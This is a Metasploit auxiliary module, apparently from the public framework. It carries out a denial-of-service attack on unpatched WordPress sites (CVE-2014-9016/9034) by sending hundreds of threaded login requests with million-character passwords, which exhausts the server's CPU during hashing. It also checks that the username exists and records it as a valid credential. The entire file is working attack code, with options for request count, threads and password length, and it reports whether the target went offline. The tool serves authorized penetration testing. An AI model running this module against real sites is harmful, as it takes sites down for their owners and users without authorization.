## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress Long Password DoS', 'Description' => %q{WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x before 4.0.1 allows remote attackers to cause a denial of service (CPU consumption) via a long password that is improperly handled during hashing.}, 'License' => MSF_LICENSE, 'Author' => [ 'Javier Nieto Arevalo', # Vulnerability disclosure 'Andres Rojas Guerrero', # Vulnerability disclosure 'rastating' # Metasploit module ], 'References' => [ ['CVE', '2014-9016'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2014-9034'], ['OSVDB', '114857'], ['WPVDB', '7681'] ], 'DisclosureDate' => '2014-11-20' )) register_options( [ OptInt.new('PLENGTH', [true, 'Length of password to use', 1000000]), OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]), OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]), OptString.new('USERNAME', [true, 'The username to send the requests with', '']), OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true]) ]) end def rlimit datastore['RLIMIT'] end def plength datastore['PLENGTH'] end def username datastore['USERNAME'] end def validate_user datastore['VALIDATE_USER'] end def thread_count datastore['THREADS'] end def timeout datastore['TIMEOUT'] end def user_exists(user) exists = wordpress_user_exists?(user) if exists print_good("Username \"#{username}\" is valid") store_valid_credential(user: user, private: nil, proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}") return true else print_error("\"#{user}\" is not a valid username") return false end end def run if wordpress_and_online? if validate_user print_status("Checking if user \"#{username}\" exists...") unless user_exists(username) print_error('Aborting operation - a valid username must be specified') return end end starting_thread = 1 while starting_thread < rlimit do ubound = [rlimit - (starting_thread - 1), thread_count].min print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") threads = [] 1.upto(ubound) do |i| threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i| begin wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout) rescue => e print_error("Timed out during request #{(starting_thread - 1) + i}") end end end threads.each(&:join) print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") starting_thread += ubound end if wordpress_and_online? print_error("FAILED: #{target_uri} appears to still be online") else print_good("SUCCESS: #{target_uri} appears to be down") end else print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress") end end end